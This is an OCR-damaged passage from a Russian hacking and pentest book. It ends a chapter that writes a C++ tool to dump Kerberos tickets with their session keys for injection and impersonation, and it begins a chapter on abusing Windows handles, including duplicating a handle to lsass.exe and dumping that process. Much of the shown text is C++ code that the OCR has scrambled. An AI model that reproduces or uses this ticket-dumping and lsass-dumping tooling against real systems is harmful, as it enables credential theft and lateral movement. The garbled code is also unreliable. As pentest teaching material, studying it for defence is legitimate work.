дампа тикетов есть целых два значения: □ Ke r bRet r i ev eT i c ketMessage - в документации MSDN написано: «Эта процедура диспетчеризации извлекает билет на выдачу билетов из кеша билетов указанно­ го сеанса входа пользователя». Так вот, в действительности это позволит сдам­ пить тикет, но без сессионного ключа. То есть мы получим как бы тикет, но за­ инжектить его не выйдет, т. к . нужен будет связанный с ним сессионный ключ; □ Ker bRetri eveEncodedTicketMessage - в документации MSDN написано: «Это сообще­ ние извлекает указанный билет либо из кеша, если он там уже есть, либо запра-
Часть 172 Рис. 9.7. 11. Системное программирование для хакеров Успешное внедрение тикета шивая его из центра распространения ю~ючей Kerberos (КОС)». Как раз это зна­ чение и позволит сдампить тикет сразу с сессионным ю~ючом. Возможно, я объяснил не очень понятно. Давайте рассмотрим этот процесс на при­ мерах. Я специально предусмотрел в инструменте возможность дампа тикета как с сессионным ю~ючом, так и без него (рис. 9.8). Сами тикеты выводятся друг за другом (рис. 9.9). Видите? Тикет, начинающийся на dor, содержит также сессионный ю~юч - он пря­ мо зашит в бинарные данные. Таким образом, внедряя этот тикет, мы без проблем будем взаимодействовать с Kerberos от лица пользователя - владельца тикета. А чуть 11иже я вывожу тикет без сессионного ю~юча. Не знаю, что с ним можно сделать, но вдруг для каких-нибудь целей ресерча он сгодится? Причем обратите внимание, что сессионный ю~юч у них один и тот же.
Глава 9. Как дампить тикеты КегЬегоs на С++ Рис. Рис. 9.9. 9.8. Использование двух значений для дампа Тикет с сессионным ключом и без сессионного ключа 173
Часть 174 //. Системное программирование для хакеров Думаю, теперь все встало на свои места. Давайте учиться дампить. После перечис­ ления кеша билетов нам нужно эти самые тикеты получить. Для корректного дампа потребуется также serverName, т. е. имя службы, для которой выписан тикет (помни­ те, что в случае TGT это krЬtgt). Сначала выделяем буфер достаточного размера. Он должен быть равен размеру структуры КЕRВ_RETRIEVE _ткт _REQUEST плюс размер строки, содержащей имя службы, на которую выписан конкретный тикет. DWORD szData = RETRIEVE ТКТ REQUEST) + pKerbCacheResponse-> - Tickets[i] .ServerName.MaximшnLength; if (pKerbRetrieveRequest = (PКERB_RETRIEVE_TКТ_REQUEST)LocalAlloc(LPTR, szData)) { Если sizeof(КERВ выделение памяти прошло успешно, мы можем инициализировать pKerbRetrieveRequest нужными значениями. Структура КЕRВ_RETRIEVE _ткт_REQUEST выгля­ дит вот так: typedef struct _КERВ_RETRIEVE_TKT_REQUEST LUID UNICODE STRING ULONG ULONG LONG SecHandle MessageType; Logonid; TargetName; TicketFlags; CacheOptions; EncryptionType; CredentialsHandle; КERВ_RETRIEVE_TКТ_REQUEST, *PКERВ_RETRIEVE_TКТ_REQUEST; КERВ_PROTOCOL_MESSAGE_TYPE Здесь □ MessageType - для дампа с сессионным ключом ставим KerbRetrieveEncodedTicketМessage. Для дампа без сессионного ключа □ Logonid - LUID - KerbRetrieveTicketMessage; сеанса входа, из которого мы дампим тикеты; □ тargetName - имя службы, на которую выписан тикет. С помощью этого парамет­ ра можно создать фильтр. Фактически чтобы сдампить только тикеты на определенную службу, например только на CIFS/DC0l.CRINGE.LAВ; □ TicketFlags - флаги-фильтры. Если установлено значение О и если в кеше найден соответствующий билет, то этот билет будет сдамплен независимо от значений его флагов. Если совпадений в кеше нет, то будет запрошен новый тикет; □ cacheOptions - всякие опции, связанные с кешированием. Их очень много, мы указываем КЕRВ_RETRIEVE _тrсКЕт_AS _КЕRВ_CRED, чтобы тикеты вернулись в формате КRВ_CRED, который описан в □ EncryptionType □ RFC 4120 (https://www.ietf.org/rfc/rfc4120.txt); определяет тип шифрования у билета; CredentialsHandle - это для SSPI, мы рассматривали SSPI в главе 4. В нашем слу- чае этот параметр не используется. Корректная инициализация сложна, но мы же хакеры! Поэтому просто берем и копируем все значения, которые мы получили при изучении кеша АР Kerberos, по­ скольку там в возвращаемой структуре присутствовали те же самые элементы.
Глава 9. Как дампить тикеты Kerberos 175 на С++ pKerbRetr1eveRequest->MessageType = KerbRetrieveEncodedTicketMessage; pKerbRetrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; pKerbRetrieveRequest->Ticket Flags = pKerbCacheResponse->Tickets. [ i] . TicketFlags; pKerbRetrieveRequest->TargetName = pKerbCacheResponse->Tickets[1] .ServerName; pKerbRetrieveRequest->Logonld = kerbCacheRequest.Logonld; pKerbRetrieveRequest->TargetName.Buffer - (PWSTR) 1(PBYTE)pKerbRetrieveRequest + sizeof(KERB_RETRIEVE_TKT_REQUEST11; У нас структура KERB _RETRIEVE _ткт _PEQUEST представлена в переменной pKerbRetrieveRequest, которая просто динамически выделена в памяти. Поэтому в целях заполнения име­ ни службы следует использовать функции для копирования буфера с одного адреса на другой. RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, pKerbCacheResponse-> Tickets[i] .ServerName.Buffer, pKerbRetrieveRequest->TargetName.MaximumLength); Теперь структура подготовлена. Но ведь это только реквест. А как будет выглядеть ответ? Ответ представляет собой структуру КЕRВ _RETRIEVE _ткт _RESPONSE: typedef struct _KERB_RETRIEVE_TKT_RESPONSE { KERB - EXTERNAL - TICKET Ticket; ) КERB_RETRIEVE_TKT_RESPONSE, *PKERB_RETRIEVE Здесь Ticket - ТКТ RESPONSE; это сдампленный тикет собственной персоной. А вот структура, в которой тикет хранится в системе: typedef struct _KERB_EXTERNAL_TICKET PKERB - EXTERNAL - NАМЕ Serv1ceName; PKERB_EXTERNAL_NAМE TargetName; PKERB_EXTERNAL_NAМE ClientName; DomainName; UNICODE STRING TargetDoma1nName; UNICODE STRING AltTargetDomainName; UNICODE STRING l<ERB- CRYPTO - КЕУ SessionKey; ULONG T1cketFlags; Flags; ULONG KeyExpirationTime; LARGE INTEGER StartTime; LARGE INТEGER EndT1me; LARGE INTEGER RenewUntil; LARGE INTEGER LAF.GE INТEGER TimeSkew; EncodedTicketSize; ULONG EncodedTicket; PUCНAF. KERB_EXTEF.NAL_TICKET, *PKERB_EXTERNAL_TICKET; Здесь очень много элементов, но я думаю, что по названиям вполне можно дога­ даться об их предназначении. Обратите внимание на EncodedTicket - это и есть то, что мы ищем. Наконец получаем тикст! status = LsaCallAuthenticationPackage!LsaHandle, kerberosAP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbF.etrieveResponse, ~szD~ta, &ГrotocolStatus);
Часть 176 11. Системное программирование для хакеров if (status == 0) 1 if (ProtocolStatus == 0) ( if lpKerbRetrieveResponse->Ticket.TargetName) ( // Может бьrгь рааен NULL printExternalName(*pKerbRetrieveResponse->Ticket.TargetName, L"TargetName"); st; FileTimeToSystemTime( (PFILETIME)&pKerbRetrieveRespoпse->Ticket.TimeSkew, &st); std: :wcout << L"\t\tTimeSkew:\t" << st.wHour << ":" << st.wМiпute << ":" << st.wSecoпd << std::eпdl; printExterпalName(*pKerbRetrieveRespoпse->Ticket.ServiceName, L"ServiceName"I; SYSTEМTIME printExterпalName(*pKerbRetrieveRespoпse->Ticket.ClieпtName, L"ClieпtName"); std: :wcout « L"\t\tDomainName:\t"; priпtUnicodeStriпgBuffer(pKerbRetrieveRespoпse->Ticket.DomaiпName); std: :wcout « L"\t\tTargetDomaiпName:\t"; priпtUпicodeStriпgBuffer(pKerbRetrieveRespoпse->Ticket.TargetDomaiпName); std: :wcout « L"\t\tAltTargetName:\t"; printUпicodeStriпgBuffer(pKerbRetrieveRespoпse->Ticket.AltTargetDomaiпName); std: :cout « "\t\tSessioп key: (Ьб4) " « base64_eпcode(pKerbRetrieveRespoпse-> Ticket.SessionKey.Value, pKerbRetrieveRespoпse->Ticket.SessioпKey.Leпgth) << std::eпdl; std: :cout « "\t\tSessioпKeyType:\t"; GetSessioпKeyТype(pKerbRetrieveRespoпse-> Ticket.SessioпKey.KeyТype); std: :cout « "\t\tTicket (with Sessioп Кеу): " « base64_eпcode(pKerbRetrieveRespoпse->Ticket.EпcodedTicket, pKerbRetrieveRespoпse->Ticket.EпcodedTicketSize) Сначала проверяем, инициализирован ли << std: элемент :eпdl; тargetName структуры КЕRВ EXTERNAL_TICKET. Этот элемент содержит SPN. Причем раньше, когда я только изучал эту тему, именно в это место программы я добавлял проверку: TGT перед нами или TGS. Если TGT, то элемент должен быть равен NULL, а если не TGT, то внутри дол­ жен быть записан SPN службы. Но лишь потом я обнаружил, что в случае TGT этот элемент будет иметь значение KRBTGT/OOМAIN.coм, поэтому проверка на TGT, которую я описывал выше (где мы проверяем ServiceName), более правильная. Для корректного вывода структуры РКЕRВ_ EXTERNAL _NАМЕ напишем отдельную функ­ цию, поскольку просто взять и вывести ее не получится. void pr1пtExterпalNamelKERB_EXTERNAL_NAМE& exterпalName, coпst wchar t* std: :wcout << "\t\t" << Paramname << " (Туре): "; switch (exterпalName.NameType) ( case О: std: :wcout « "KRB NT UNКNOWN" « std: :eпdl; break; case l: std: :wcout « "KRB NT PRINCIPAL" « std: :eпdl; break; case -131: std: :wcout « "KRB NT PRINCIPAL AND ID" « std: :eпdl; break; Paramпame) (
Глава 9. Как дампить тикеты KertJeros на С++ 177 case 2: std: :wcout « « "КRВ NT SRV INST" « "КRВ NT SRV INST AND ID" « "КRВ NT SRV HST" « "КRВ NT SRV « "КRВ NT UID " « "КRВ NТ ENTERPRISE PRINCIPAL" « std: :endl; « "КRВ NТ ENT PRINCIPAL AND ID" « std: :endl; std: :endl; break; case -132: std: :wcout « std: :endl; break; case 3: std: :wcout « std: :endl; break; case 4: std: :wcout ХНSТ" « std: :endl; break; case 5: std: :wcout « std: :endl; break; case 10: std: :wcout break; case -130: std: :wcout break; default: std: :wcout << "Unknown(" << externalName.NameType << ")" << std: :endl; break; for (USHORT i = О; i < externalName.NameCount; i++) { UNICODE_STRING& unicodeString = externalName.Names[i]; wprintf(L"\t\t%ws %d: ", Paramname, i + 1); printUnicodeStringBuffer(unicodeString); Эта функция принимает структуру КERB_EXTERNAL_NAМE, а также имя параметра (в на­ шем случае тargetName). Затем она начинает выводиrъ всю информацию о структуре. В NameType содержится тип имени, которое идеmифицирует объект. Например, Kerberos. После чего ( очень редко их может КRВ _ NT_ PRINCIPAL означает, что в строке лежит имя принципала мы выводим все имена, содержащиеся в этой структуре быть несколько). Вывод выполняем также в отдельной функции. void printUnicodeStringBuffer(UNICODE_STRING& unicodeString) if (unicodeString.Buffer != nullptr) { wprintf(L"%.*s\n", unicodeString.Length / sizeof(wchar_t), unicodeString.Buffer); Таким образом мы успешно парсим все строковые данные из тикета. Наконец, са­ мое сочное - бинарные данные. Начнем с получения сессионного ключа. Для это­ го используем функцию base64 encode (), которой передаем длину ключа, сам ключ
Часть 178 //. Системное программирование для хакеров (в виде бинарных данных), а в ответ получаем ключ, закодированный в Base64. До­ полнительно получаем тип шифрования в функции GetSessionKeyType (): void GetSessionKeyType(LONG КеуТуре) switch case (КеуТуре) КЕRВ ЕТУРЕ std: :wcout { NULL: « L"КЕRВ ЕТУРЕ NULL" « std: :endl; break; case КЕRВ ЕТУРЕ - std: :wcout - DES « - СВС- CRC: L"КЕRВ ЕТУРЕ CRC" « std: :endl; DES СВС MD4" « std: :endl; RC4 НМАС NT" « std: :endl; DES СВС MDS" « std: :endl; СВС DES break; case КЕRВ ЕТУРЕ - std: :wcout - DES « - СВС- MD4: L"КЕRВ ЕТУРЕ break; case КЕRВ ЕТУРЕ - std: :wcout - RC4 - НМАС- NT: « L"КЕRВ ЕТУРЕ - - - - break; case КЕRВ ЕТУРЕ - std: :wcout - DES « - СВС - MDS: L"КЕRВ ЕТУРЕ break; case КЕRВ ЕТУРЕ - std: :wcout - RC4- MD4: « L"КЕRВ ЕТУРЕ - - RC4 - MD4" « std: :endl; break; case КЕRВ ЕТУРЕ AES256 CTS НМАС SНAl 96: - std: :wcout « - - - - L"КERB_ETYPE_AES256_CTS_НМAC_SНA1_96" « std: :endl; « std: :endl; break; case КЕRВ ЕТУРЕ AES128 CTS НМАС SНAl 96: - std: :wcout - - - « L"КERB_ETYPE_AES128_CTS_НМAC_SНA1 96" « L"КERВ_ETYPE_RC4_MD5" « std: :endl; « L"КЕRВ ЕТУРЕ « std: :endl; « L"КERB ЕТУРЕ « std: :endl; « L"Unknown\t(" - break; case 129: std: :wcout break; case 130: std: :wcout break; - - RC2-MD4" case 131: std: :wcout - - RC2 MDS" - break; default: std::wcout « КеуТуре « ")" « std::endl; break; Тикет мы выводим с помощью той же base64_ encode (). В последних строках про­ граммы вновь обращаемся к АР Kerberos, но уже для дампа тикета отдельно, без сессионного ключа. Для этого просто меняем элемент мessageType ранее инициа­ _ лизированной структуры КЕRВ _RETRIEVE_ ткт REQUEST на значение KerbRetrieveTicketMessage, ну и выводим его.
Глава 9. 179 Как дампить тикеты KerЬeros на С++ pKerbRetrieveRequest->MessageType = KerbRetrieveTicketMessage; status = LsaCallAuthenticationPackage(LsaHandle, kerberosAP, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &ProtocolStatus); if (status == О) ( if (ProtocolStatus == О) ( std: :cout « "\t\tTicket (without Session Кеу): " « base64_encode(pKerbRetrieveResponse->Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize) << std: :endl; std: :cout « "\t\tSession key for ticket w/out session key: (Ь64) " « base64_encode(pKerbRetrieveResponse->Ticket.SessionKey.Value, pKerbRetrieveResponse->Ticket.SessionКey.Length) << std: :endl; std: :cout « "\t\tSessionKeyType:\t"; GetSessionКeyType(pKerbRetrieveResponse-> Ticket.SessionKey.KeyType); Заключение Написание собственного инструментария для решения задач по пентесту - неотъ­ емлемая часть профессионального роста. Возможно, эта глава показалась вам сложноватой, но не переживайте! Полный код этого проекта можно найти на GitHub (https://githu b.com/МzНmO/articles/tree/main/Тicket%20Dumper).
ГЛАВА 10 Как злоупотреблять хендлами в В Windows Windows все взаимодействие программного кода с системой построено на хенд­ лах. Можно атаковать компонешы системы, ковырять ядро, но что, если атаковать сами дескрипторы? В этой главе я разобрал несколько вариашов атак на них. Хендлы (они же дескрипторы) в Windows - это один из важных камней в фунда­ менте системы. На хендлах построено и основывается все взаимодействие из про­ граммного кода с компонентами Windows. Именно благодаря дескрипторам ядро понимает, к какому объекту мы хотим обратиться и с каким уровнем доступа. Хендл обычно можно получить с помощью стандартных функций. На файл (bttps://learn.microsoft.com/ru-ru/windows/win32/api/fileapi/nfШeapi-createfilea ), на LSA через LsaOpenPolicy() (bttps://learn.microsoft.com/ruru/windows/win32/api/ntsecapi/nf-ntsecapi-lsaopenpolicy). В Windows очень много через createFi le ( ) разных объектов, с которыми можно взаимодействовать. Вы можете открыть спи­ сок WinAPI (bttps://learn.microsoft.com/en-us/windows/win32/apiindex/windowsapi-list), ткнуть на любой интересующий компонеш и убедиться, что самой основ­ ной и важной апихой будет API для получения хендла на нужный объект. Не полу­ чил хендл - не смог взаимодействовать с системой. Знаете ли вы, что есть атаки и на сами хендлы? Интересные хендлы Во-первых, следует определиться с тем, что мы ищем. Нас ишересуют далеко не все хендлы. Конечно, приоритетнее всего процессы и потоки. Взаимодействие с ними позволит запустить шелл-код. Впрочем, тут опять не все так гладко. Полу­ ченный хендл должен иметь хотя бы право PROCEss _ vм _WRITE (для процесса) или TНREAD_SET_CONTEXT (для потока). Кстати, нам подойдут и хендлы на секции памяти и - в исключительных случаях - на конкретные файлы или ключи реестра.
Глава 10. Как злоупотреблять хендлами в Windows 181 Изучение хендлов процесса Перед тем как приступить, можем глянуть хендлы конкретных процессов в систе­ ме. Это позволит наметить дальнейший вектор развития атаки. У доб нее всего, как мне кажется, использовать утилиту рис. io/downloads.php, HilCker View Too!s U5ers ,0 Reft~ .... 0 Options неJр I А Find handl~ or DU.s Sysr~ infoonation , CPU PID Runt i-e8roker .е11е 18 11 [i]TextlnpytHost.exe 00 d\thos t..exe 11 [!3 dt\host.exe 12. f!] SDXHe\per.exe ApplicationFra/!МНIO. . . 18 00 SheHExperienceНos ... RuntiмBroker .еке [i:IWUDFHost.exe ""' _,_ П,,нd ~.ConQiner.ot (8Я): 2940 NI/Olspla'f.ContJlner.ei.(8S6}:27t2 Н\l'Dilpllly.c:мaмr... {856): 2fil6 ~-a.ulner-08 (856): 2692 NI/Olsplay. ~ . - ( 856): 2fit2 НVOllrploy.Coruir!er.or(856):2668 Тмнd ctf80n.exe :J 1!З svchost.e,:e lntetCpHOCPSvc.eкe , v 8 NVDispla .Container .е11е 1 ■ NVDisplay.Cootaine ... 00 svchost. exe \Wlnoows\WlndowStetloм\Seмee-(Ьi)-:Je7'$ НWlliplay.Co!ltмlel'".exe(8S6}:tOIO """" ™"" ""... ~d11sНost.exe """" \Wwldl:м,\~OIIO·:Je7$ "(hread sihost.exe о TмNd @WOFНOst.f!Xf! f!J t.askhostw.exe O.scription Runt.i-e 8roker МQdu6es МemOry &мron/Jlent l0ndle5 Seмon GPU ~tlde\д/181мdNldel Тм... svchost.t!XII! Usн nв- NB WINPC\tHchael СеМП11 S\llt!ltlcs l'Wformlntl Tlnads ТоЬ!n Тмнd [i3 Privиte Ь ... ■ Сеойс,ва: NVDisplay,.Container.exe (856) Tlvмd ~ 1/0 t ... 3,б 00 svctюst.e,:e v !0 Q Х 9792 ~dllhost.exe (iJ Process Hacker (https://processhacker.sourceforge. 10.1 ). O,di; О.И t104<: °'68с О.И tl!CStt ~ oxsea OXSdl NVOl!plly.c.ontlllnef.ne (856): 2614 О:1694 N\/Olsplay.Contмwr.ett! Об5с {856): 2'668 Non-t»!t8tlt~(:Жl):2652 Ох54с П,,мd НVOi5plli'f.Olntllnel".eD (&Я): ш:z oxsto Tlwнd IМ)lsplay.Conhllмr.- (856): 2644 N\/Oilplly.c.ontalnet. .-(856): 2fi88 (Ь!4е8 ~-c.ont.irlel"-П8 (856): 1088 (Ь(J.к NW!spley.contallnef.tx!! (856): 1080 Ох194 :: -Tlwнd -· х Dl,t: and Netwon; Comment 011'178 -~.lfCl:5\SМtl :8S6: Э04:WII.Stogin. .. ОХ58 ~М0:856:304:WISЬgn_ 064 \lla'Sll!КilfмdOЬjetts\_~- ОХб68 ~~~-с.-.Оlб48 l!3 svchost.exe СЕ:!) v i_i3 igfxCUIServiceN.eJ11.e ~4.17" Physk,lmemocy.8,ЗG8{26.13't.) Proces.ses:160 Рис. Есть также intemals 10.1. Изучение хендлов процесса System Explorer (https://github.com/zodiacon/SystemExplorer) и (https:/Лearn.microsoft.com/en-us/sysinternals/downloads/handle, рис. Sys10.2), но я ими пользовался не очень много. 44: File (RW-) (:\Windows FC: Section \Windo~1s\ Theme1206686908 138: File (R-D) C:\Windoиs\Systeш32\en-US\Conhost.exe.шui \Sessions\6\Windows\Theшe2754350462 160: Section lCC: File (R-D) С: \Prograш Files\illindo1,sApps\~licrosoft. LanguageEx1 !ЬЬ1,е \Windows \Sys teш32\en-GB\propsys. dll. mui \Sessions \6\BaseNamedObjects \1,indows_shell_global_ 1Е0: Section Рис. 10.2. Вывод инструмента Handle из пакета Sysinternals Handle Duplicating Это самая первая атака на хендлы. Основана она по большей части на функции (https://learn.microsoft.com/ru-ru/windows/win32/api/handleapi/nfhandleapi-d uplicatehandle) и ее более низкоуровневых аналогах вроде Dupl ica teHandle ()
Часть 182 11. Системное программирование для хакеров (http://undocumented.ntinternals.net/index.html?page=UserMode %2FUndocumented%20Functions%2FNT%20Objects%2FType%20independed% 2FNtDuplicateObject.html). ';: NtDuplicateObject (} Взглянем на прототип функции. В001 DuplicateHandle( [in) НANDLE [in) НANDLE hSourceHandle, [in) НANDLE hTargetProcessHandle, hSourceProcessHandle, [out) LPНANDLE lpTargetHandle, [in) DWORD dwDesiredAccess, [in) В001 Ыnheri tHandle, [in) DWORD dWOptions ':.+~ ,,'' ); □ hSourceProcessHandle - хендл процесса, из которого требуется скопировать хендл. Должен иметь маску доступа PROCESS_ DUP_НANDLE; □ hSourceHandle - хендл, который нужно скопировать; □ hTargetProcessHandle □ lpTargetHandle - □ dwDesiredAccess □ ЫnheritHandle - процесс, в который нужно скопировать хендл; куда класть скопированный хендл; флаги доступа; наследуемый ли дескриптор, т. е. можно ли его передавать в до- черние процессы; □ dwOptions - дополнительные параметры. Подробнее каждый аргумент можно изучить в официальной документации: (https://learn.microsoft.com/ru-ru/windows/win32/api/handleapi/nf-handleapiduplicatehandle). Итак, вся атака заключается в том, что мы находим процессы, на которые можем запросить хендл с маской PROCESS _DUP _НANDLE, затем копируем их хендлы, изучаем, на что они указывают, после чего эксплуатируем! Например, на процесс victim.exe из нашего процесса target. ехе можно успешно получить хендл с нужной маской. После копирования дескрипторов из целевого процесса обнаруживаем, что у нас есть де­ скриптор процесса lsass.exe! Как следствие, успешно дампим процесс. Конечно, в целевом процессе может быть указана плохая маска доступа, которая не подходит для дампа процесса. Тем не менее, если у нас есть хендл, мы можем рас­ парсить его и извлечь маску доступа, используемую для получения этого хендла. Здесь нам поможет функция (https://learn.microsoft.com/ru-ru/ windows/win32/api/winternl/nf-winternl-ntqueryobject) и передача структуры Рuвыс_ OBJECT _BASIC _ INFORМATION (https://learn.microsoft.com/ru-ru/windows-hardware/drivers/ ddi/ntifs/ns-ntifs-_puЫic_object_basic_information, рис. 10.3). #include <iostream> #include <windows.h> #include <winternl.h> NtQueryObject (}
Глава 1О. Как злоупотреблять хендлами в Рис. #pragma comment (lib, void ntdll. lib Пример вывода 11 ) accessMask) GENERIC_READ) == GENERIC _READ) std:: cout « GENERIC READ GENERIC_WRITE) == GENERIC_WRITE) std:: cout « "GENERIC_WRITE "; GENERIC_EXECUTE) == GENERIC_EXECUTE) std::cout « GENERIC_EXECUTE GENERIC_ALL) == GENERIC_ALL) std::cout « GENERIC ALL ParseAccessMask(ACCESS_МASK (accessMask if ( (accessMask if ((accessMask if ( (accessMask if 11 10.3. 183 Windows ( & & & & 11 ; 11 11 11 ; 11 ; 11 PROCESS_CREATE_PROCESS) std: :cout << PROCESS CREATE PROCESS « 11 PROCESS_TERМINATE :cout std: if ( (accessMask & PROCESS_TERМINATE) = PROCESS_TERМINATE) if ((accessMask & PROCESS_SUSPEND_RESUМE) == PROCESS_SUSPEND_RESUМE) std: :cout << PROCESS SUSPEND RESUМE if ( (accessMask & PROCESS_QUERY_INFORМATION) == PROCESS_QUERY_INFORМATION) std::cout << if ((accessMask & PROCESS_CREATE_PROCESS) == 11 11 11 if ( (accessMask & PROCESS_SET_INFORМATION) == PROCESS SET - std: :cout « std: :endl; int main() НANDLE hProcess = GetCurrentProcess(); ULONG returnLength = О; PUBLIC- OBJECT- BASIC- INFORМATION obi; NTSTATUS status = NtQueryObject( hProcess, ObjectBasiclnformation, 11 ; 11 ; 11 ; PROCESS_QUERY_INFORМATION 11 ; std: :cout << PROCESS SET INFORМATION 11 ; INFORМATION) - 11
Часть 184 11. Системное программирование для хакеров &obi, sizeof (оЬi), &returnLength); if (NT_SUCCESS(status)) std: :cout « "Granted Access: " « std: :hex « oЬi.GrantedAccess « std: :endl; ParseAccessMask(oЬi.GrantedAccess); else { std: :cerr « "NtQueryObject failed with status: " « std: :hex « status « std: :endl; CloseHandle(hProcess); return О; Есть проблема: мы парсим маски, совершенно забывая о том, что маски доступа могут иметь перекрывающиеся значения. Например, у процесса есть у потока - PROCESS _vм _READ, TНREAD_SET_CONTEXT, а эти оба значения указывают на охоо10, поэтому нашу функцию парсинrа маски доступа нужно модифицировать, научив распознавать переданный хендл. Далеко ходить не надо - используем ту же функцию NtQueryObject (), только будем передавать ей структуру PUBLIC _овJЕст _ТУРЕ _INFORМATION (https://learn.microsoft.com/ ru-ru/windows-hardware/drivers/ddi/ntifs/ns-ntifs-_puЫic_ object_type_information ). typedef struct PUBLIC_OBJECT_TYPE_INFORМATION { UNICODE_STRING TypeName; ULONG Reserved[22]; PUBLIC_OBJECT_TYPE_INFORМATION, *PPUBLIC_OBJECT_TYPE_INFORМATION; Здесь будем отталкиваться только от поля TypeName. Именно там содержится тип объекта, на который указывает хендл. Нам остается лишь несколько поправить код (рис. 10.4). #include <iostream> #include <windows.h> #include <winternl.h> #pragma coпnnent(lib, "ntdll.lib") std: :wstring GetHandleType(НANDLE handle) NTSTATUS status; ULONG returnLength; std::wstring handleType; ULONG bufferSize = sizeof(PUBLIC_OBJECT_TYPE INFORМATION) + 1024; PPUBLIC_OBJECT_TYPE_INFORМATION objectTypeinfo = (PPUBLIC_OBJECT_TYPE_INFORМATION) new UCНAR[bufferSize];
Глава 1О. Как злоупотреблять хендлами в 185 Windows х □ ~ Консоль отл.!ДIСИ Mюosoft V1sual Studю (jranted Ac ce ss: 1fffff Handle Туре: Thread THREAD ALL ACCESS THREAD DIRECT I!-1PERSOHAТIOrJ TH RE AD GET соr-,нхт THREAD H1PERSOr-JAП THREAD QUERY INFORHAТIШJ TH READ QUER v _L ItHTED_INFOR1'1AT roN т нREAD_S E т _СО/JТЕХТ THRE AD_S Eт _INFORI-\A поr1 тнRЕАD_5ЕТ _LINIТED_ItJFORMT ror, THREAD_sп _ тнRЕАD_ тoiiEN т HREAD_SUSPEtJD_RESUNE THREAD_ ТERr-l!NдТE А: \SS D\ Proje ctsVS \САрр\хб4 \Debug \САрр . е.<е ( ,, роцесс 6096) '-lтобы автоматическ" rо.~~атически эаw;рыть заверuил работу с закр1:.1вать консоль при оста н овке отладки, консоль при кодо,., включите параметр 0. "Сервис" ->"Параметры" .,."отладка" -~ "Ав остановке отл адrи". HaNMYTe nюбу~0 кл авишу. чтобы закрыть это о~.;но: Рис. 10.4. Пример вывода if ('objectTypeinfo) ( std: :cerr « "Memory allocation failed" « std: :endl; return handleType; status NtQueryObject(handle, ObjectTypeinformat i on , objectTypeinfo, bufferSize , &returnLength) ; if (NT SUCCESS(status)) { handleType.assign(objectTypeinfo->TypeName.Buffer, objectType info->TypeName .Length / sizeo f ( WCНAR )) ; else std: :cerr « "Failed to get ob ject type information" « std: :endl; delete[ 1 (UC НAR*)objectTypeinfo; ret11r11 handleType; void ParseAccess Mask (НANDLE handle, ACCESS_МASK accessMask) { std: :wstring handleType = GetHandleType(handle ) ; std: :wcout « L"Handle Туре : " « handleType « std: :endl; if (handleType == L"Process ") { if ( (accessMas k & PROCESS_ALL_ACCESS) == PROCESS_ALL_ACCESS) std: :wcout << L"PROCESS ALL ACCESS "; std: :wcout << PROCESS_CREATE_PROCESS) PROCESS) CREATE PROCESS & if ((accessMas k L"PROCESS CREATE PROCESS ";
Часть 186 if ( (accessMask & PROCESS_CREATE_TНREAD) == if ( (accessMask 11. Системное программирование для хакеров std::wcout << L"PROCESS- CREATE- TНREAD "; & PROCESS_DUP_НANDLE) = PROCESS_DUP_НANDLE) std: :wcout << L"PROCESS DUP НANDLE & PROCESS_QUERY_INFORМATION) == PROCESS_QUERY_INFORМATION) std::wcout << L"PROCESS_QUERY_INFORМATION "; & PROCESS_QUERY_LIMITED_INFORМATION) == PROCESS_QUERY_LIMITED_INFORМATION) std: :wcout « L"PROCESS_QUERY_LIMITED_INFORМATION "; & PROCESS_SET_INFORМATION) == PROCESS_SET_INFORМATION) std::wcout << L"PROCESS SET INFORМATION "; & PROCESS_SET_QUOTA) == PROCESS_SET_QUOTA) std::wcout << L"PROCESS_SET_QUOTA "; & PROCESS SUSPEND RESUМE) == PROCESS SUSPEND RESUМE) std::wcout << - L"PROCESS SUSPEND RESUМE "; & PROCESS_TERМINATE) == PROCESS_TERМINATE) std::wcout << L PROCESS TERМINATE "; & PROCESS_VМ_OPERATION) = PROCESS_VМ_OPERATION) std: :wcout << L"PROCESS VМ OPERATION & PROCESS_VМ_READ) == PROCESS_VМ_READ) std: :wcout « L 11 PROCESS_VМ_READ "; & PROCESS_VМ_WRITE) == PROCESS_VМ_WRITE) std::wcout << L"PROCESS VМ WRITE "; & SYNCHRONIZE) == SYNCHRONIZE) std: :wcout « L"SYNCHRONIZE PROCESS_CREATE_TНREAD) 11 ; if ((accessMask if ((accessMask if ((accessMask if ( (accessMask if ( (accessMask if ( (accessMask 11 if ( (accessMask 11 ; if ( (accessMask if ( (accessMask if ( (accessMask 11 ; else if (handleType == L"Thread") { if ((accessMask & THREAD_ALL_ACCESS) == THREAD_ALL_ACCESS) std: :wcout << ALL ACCESS & THREAD DIRECT IMPERSONATION) == THREAD DIRECT IMPERSONATION) std: :wcout «-L"THREAD DIRECT IMPERSONAТION & THREAD_GET_CONTEXT) == TНREAD_GET_CONTEXT) std: :wcout << L"THREAD GET CONTEXT & THREAD_IMPERSONATE) == THREAD_IMPERSONATE) std: :wcout << L"THREAD IMPERSONATE & THREAD_QUERY_INFORМATION) == TНREAD_QUERY_INFORМATION) std: :wcout << L"TНREAD if ((accessMask if ((accessMask if ((accessMask if ((accessMask 11 ; 11 ; 11 ; 11 ; L"TНREAD_QUERY_INFORМATION "; if ((accessMask & THREAD_QUERY_LIMITED_INFORМATION) == THREAD_QUERY_LIMITED_INFORМATION) std: :wcout « L THREAD_QUERY_LIMITED_INFORМATION "; if ((accessMask & THREAD_SET_CONTEXT) == THREAD_SET_CONTEXT) std: :wcout << L11 THREAD SET CONTEXT 11 ; if ((accessMask & THREAD_SET_INFORМATION) == THREAD_SET_INFORМATION) std: :wcout << L11 THREAD SET INFORМATION 11 ; if 1(accessMask & THREAD_SET_LIMITED_INFORМATION) == THREAD_SET_LIMITED_INFORМATION) std: :wcout « L"THREAD- SET- LIMITED- INFORМAТION if ( (accessMask & THREAD_SET_THREAD_TOКEN) == THREAD_SET_THREAD_TOКEN) std: :wcout << L11 THREAD SET THREAD TOKEN 11 ; if ((accessMask & THREAD_SUSPEND_RESUМE) == TНREAD_SUSPEND_RESUМE) std: :wcout << L11 THREAD SUSPEND RESUME "; if ((accessMask & THREAD TERМINATE) == THREAD_TERМINATE) std::wcout << L THREAD TERМINAТE "; 11 11 ; 11 std::wcout « std::endl;
